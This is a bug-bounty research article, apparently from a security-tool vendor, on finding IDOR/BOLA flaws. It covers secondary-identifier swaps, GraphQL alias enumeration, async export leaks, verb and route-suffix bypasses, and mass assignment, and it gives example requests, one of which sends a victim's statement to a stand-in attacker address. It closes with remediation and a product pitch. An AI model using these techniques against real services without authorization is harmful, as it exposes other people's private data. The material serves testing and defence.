# IDOR lives in the second identifier: finding BOLA with two-account Shadow Replay

> Everyone fuzzes the ID in the URL path; the ID in the path is usually the one the app actually checks. The access-control bug is hiding in the account_id in the body, the node(id:) resolver, the async PDF job, and the PUT you never sent. Here's where BOLA really lives and how to diff it in two accounts.

**Key takeaways:**
- The path ID is the honeypot: apps validate the primary key in the URL but blindly trust a secondary identifier — account_id/org_id/tenant_id in the JSON body or an X-Account-Id header. Swap only that field and leave the path alone.
- GraphQL alias batching (a: node(id:"1"){...} b: node(id:"2"){...}) enumerates in one request, dodges per-request rate limits, and hits node() resolvers that skip the object check the REST layer enforced.
- The object often never comes back in the response — it leaks out-of-band through an export, PDF, emailed receipt, or webhook built from an id you control, because the authz check sits on the synchronous read, not the async job.
- Don't trust the status code: a soft-fail returns 200 with an empty body and a cache returns someone else's 200. Confirm the response BODY is the victim's data — an absence of asymmetry between two identities is the signal.

**Series:** Bug Class Deep Dives  
**Published:** July 4, 2026 · 8 min read  
**Canonical:** https://crusaderproxy.com/research/en/posts/finding-idor-bola-with-shadow-replay/

---


Every IDOR tutorial hands you the same drill: find `/api/orders/48210`, change it to `48211`, look for a `200`. That drill trains you to attack the one identifier the application is most likely to check. The primary key in the URL path is where the framework's `@authorize` annotation lives, where the ORM scopes the query, where the review focused. It's the honeypot. You fuzz it, get `403`s, call the endpoint safe, and walk right past the bug.

Because the bug is almost never in the ID you can see. It's in the *second* identifier — the one the app forgot was an identifier at all.

> **The path ID is the one they check. The bug lives in the second identifier the request carries — the account_id in the body, the tenant in a header, the id in the GraphQL alias — the one nobody wrote an authorization rule for.**

## Swap the secondary identifier, not the path

Here's the shape that pays. A request scopes an object two ways at once: a resource ID in the path, and an *ownership* ID elsewhere — a JSON field, a header, a hidden form value. The path ID gets validated. The ownership ID gets *trusted*.

```
POST /api/v2/reports/generate HTTP/2
authorization: Bearer <attacker token>
content-type: application/json

{ "report_id": "attacker-owned-uuid",
  "account_id": 5561,          ← victim's account, not yours
  "format": "pdf" }
```

`report_id` belongs to you, so every resource-level check passes cleanly. But `account_id` decides *whose data* the report contains, and the handler reads it straight from the body without asking whether your session is entitled to account `5561`. Leave the path alone. Change **only** `account_id` — or `org_id`, `tenant_id`, or the `X-Account-Id` header carrying the same meaning out of band. This is the move most hunters never make, because the tutorial trained the wrong reflex.

## GraphQL: alias batching turns one request into a thousand

GraphQL is where object-level checks go to die, because the object-fetch is a shared resolver — `node(id:)` — reached from a dozen queries, and the authorization the REST layer bolted onto each route often never made it into that one resolver. Then GraphQL hands you a force multiplier: **aliases**.

```graphql
query {
  a: node(id: "VXNlcjox")   { ... on Invoice { id total customer } }
  b: node(id: "VXNlcjoy")   { ... on Invoice { id total customer } }
  c: node(id: "VXNlcjoz")   { ... on Invoice { id total customer } }
  # …200 more aliases in one HTTP request
}
```

Two things happen at once. First, you enumerate 200 objects in a *single* POST — and since most rate limiters count HTTP requests, not resolver invocations, you sail under a per-request limit that would throttle 200 REST calls. Second, all 200 route through the `node()` resolver, the code path that tends to omit the object-level check the REST endpoint had. Batch enumeration and the weakest check in the system, in one request. Decode the IDs first — usually base64 like `Invoice:41` — increment, re-encode, alias.

## Second-order IDOR: the object leaves through a side door

The nastiest variant never returns the object in the response you're looking at. You request an export, a report, a PDF, a receipt, a webhook — and the sensitive data leaves the building *asynchronously*, generated by a background job from an id you supplied.

```
POST /api/statements/email HTTP/2
authorization: Bearer <attacker token>

{ "statement_id": 88120, "deliver_to": "attacker@evil.test" }
```

The synchronous response is a bland `202 Accepted { "job": "queued" }` — no object, no leak, nothing for a diff to catch. Then a worker builds statement `88120` (the victim's) and emails the PDF to *your* address. The authz check was written on the synchronous read `GET /api/statements/88120`, which correctly returns `403`. Nobody checked the async job that renders the same object. Watch what *leaves the system* — the email, the generated file's URL, the webhook payload — not just the HTTP response.

## The method authz forgot, and the route that skips the check

Authorization is frequently enforced on `GET` and quietly absent on the verbs that mutate:

```
GET    /api/documents/7781   → 403   (checked)
PATCH  /api/documents/7781   → 200   (not checked — you just edited the victim's doc)
DELETE /api/documents/7781   → 204   (not checked)
```

And routing quirks skip path-based checks entirely. A `.json` suffix, a matrix parameter, or a trailing slash can change which route pattern matches — and which middleware fires:

```
GET /api/documents/7781        → 403
GET /api/documents/7781.json   → 200   ← different route match, check bypassed
GET /api/documents/7781;x=1    → 200   ← matrix param defeats the path regex
GET /api/documents/7781/       → 200   ← trailing slash, different handler
```

The check was pinned to an exact path pattern; anything that matches a *different* pattern reaching the same controller runs unguarded.

## Mass assignment is IDOR on write

The write-side cousin: over-posting an ownership field on create or update. If the server binds the whole JSON body to a model, you assign yourself someone else's object — or hand someone else yours.

```
PATCH /api/tickets/9004 HTTP/2

{ "title": "updated", "owner_id": 5561 }   ← reassign ownership you don't own
```

Same root cause as read-IDOR: the app trusts an identifier in the body it should have derived from the session. Try `user_id`, `owner_id`, `account_id`, `role`, and `is_admin` on every create and update.

## The detection trap: a 200 is not a finding

This is where hunters burn hours and file false positives. **The status code lies in two directions.**

A **soft-fail** returns `200` with an empty or scrubbed body — the app caught the authz failure and degraded gracefully. You log a `200`, celebrate, and there's no victim data in it. A **cache or CDN** returns someone else's `200` — a shared cache key serves the victim's cached object to your request, identical-looking but a caching bug (report it, different root cause). Either way: **verify the response body actually contains the victim's specific data** — their name, their total, their record — not just a `200`.

And note *which boundary you crossed*. Same-tenant IDOR (you see another user in your own org) is real but bounded. Cross-*tenant* access (you read another company's data) is a different severity tier and a different payout. Always state the boundary in the report.

This is exactly why UUIDs don't save the defender and shouldn't scare you off. The check is still missing; you just harvest the identifier instead of guessing it. Pull UUIDs from confirmation emails, `Referer` headers, the `Location` header on a `201 Created`, and cross-references buried in unrelated API responses. UUIDv1 even leaks a timestamp and MAC address you can narrow. A GUID is obscurity, not authorization.

## Shadow Replay: diff two identities, look for absent asymmetry

The reliable way to separate a real finding from a lying status code is to run the same request as two identities and read the diff. Capture two saved identities: a low-privilege **attacker** and a **victim** who owns different objects. Replay every object-referencing request as each. The signal you want is an **absence of asymmetry**.

```
# Victim legitimately fetches their invoice:
GET /api/invoices/90431 HTTP/2
authorization: Bearer <victim token>
→ 200 OK   { "id": 90431, "customer": "Northwind Ltd", "total": 8820 }

# Shadow-replayed as the attacker, same object id, nothing else changed:
GET /api/invoices/90431 HTTP/2
authorization: Bearer <attacker token>
→ 200 OK   { "id": 90431, "customer": "Northwind Ltd", "total": 8820 }   ← attacker must never see this
```

If the victim gets `200` with the object and the attacker gets `403`/`404`, authorization works — that's the asymmetry you *want*. If **both** return `200` with the **same body**, the asymmetry is gone and so is the access control. Two unrelated accounts, one object, identical bytes: that's the finding, and the diff makes it obvious in one glance instead of ten manual re-logins.

## Remediation

The fix is never "add a check at the top." Scope every object fetch to the authenticated principal at the data layer: `SELECT * FROM invoices WHERE id = ? AND account_id = <session.account_id>`, so an id you don't own returns zero rows regardless of what the body claims. Derive ownership from the session, never from a client-supplied `account_id`, header, or body field. Apply the identical `WHERE` clause on write and on the async job — the export worker and PDF renderer need it too. Allowlist bindable fields to kill mass assignment, and check per-object at the resolver, not per-route in middleware a `.json` suffix can dodge.

## The point

IDOR isn't hard to find; it's hard to find *where you're not looking*. The tutorial fixates you on the path ID the app almost certainly checks, while the real bug sits in the second identifier, the batched alias, the async receipt, the `PATCH` you never tried. All of it is business logic no scanner can confirm, because confirming it needs a known victim to diff against. Like [winning the race condition]({{< relref "posts/winning-the-race-condition-bugs.md" >}}), the bug was always there; the method is what surfaces it.

That's what Crusader's Shadow Replay is built for: define an attacker and a victim identity once, then replay any request as both and read the difference — over HTTP/2, for web, mobile, and AI targets. Point it at every object-referencing request in your history, swap the secondary identifier, and watch for the response that shouldn't match but does. [Download Crusader free](https://crusaderproxy.com/#install).


---

*Original research by Crusader Research. Try Crusader free: https://crusaderproxy.com/#install*
